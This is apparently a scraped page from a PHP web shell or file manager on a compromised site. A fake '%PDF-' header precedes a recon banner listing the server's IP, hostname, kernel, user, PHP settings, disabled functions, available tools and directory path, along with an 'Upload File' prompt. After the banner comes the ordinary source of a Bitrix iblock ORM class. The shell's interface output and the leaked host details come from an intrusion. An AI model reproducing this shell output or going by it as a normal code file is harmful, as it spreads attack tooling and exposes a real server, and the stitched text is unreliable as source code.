%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.119.131.235 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/iblock/lib/orm/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage iblock * @copyright 2001-2018 Bitrix */ namespace Bitrix\Iblock\ORM; use Bitrix\Iblock\ORM\Fields\PropertyReference; use Bitrix\Main\ORM\Data\Result; use Bitrix\Main\ORM\Objectify\EntityObject; use Bitrix\Main\ORM\Objectify\State; /** * @package bitrix * @subpackage iblock */ abstract class ElementV1 extends CommonElement { /** * Accepts PropertyValue and scalar, converts it to property reference * * @param $fieldName * @param $value * * @return EntityObject * @throws \Bitrix\Main\ArgumentException * @throws \Bitrix\Main\SystemException */ public function sysSetValue($fieldName, $value) { $field = $this->entity->getField($fieldName); if ($field instanceof PropertyReference) { // for v1 preferable to change existing object (sel+upd) instead of new (del+ins) if ($this->state !== State::RAW && !$this->sysIsFilled($fieldName)) { $this->fill($fieldName); } } return parent::sysSetValue($fieldName, $value); } public function sysSaveRelations(Result $result) { parent::sysSaveRelations($result); // save single value references foreach ($this->entity->getFields() as $field) { if ($field instanceof PropertyReference) { if ($this->sysHasValue($field->getName()) && !empty($this->get($field->getName()))) { /** @var EntityObject $valueObject */ $valueObject = $this->get($field->getName()); if ($valueObject->state == State::RAW) { // previously we made fill, so now we don't need to remove old value // it would be insert only, and that's all $valueObject->save(); } elseif ($valueObject->state == State::CHANGED) { // regular update $valueObject->save(); } } } } } }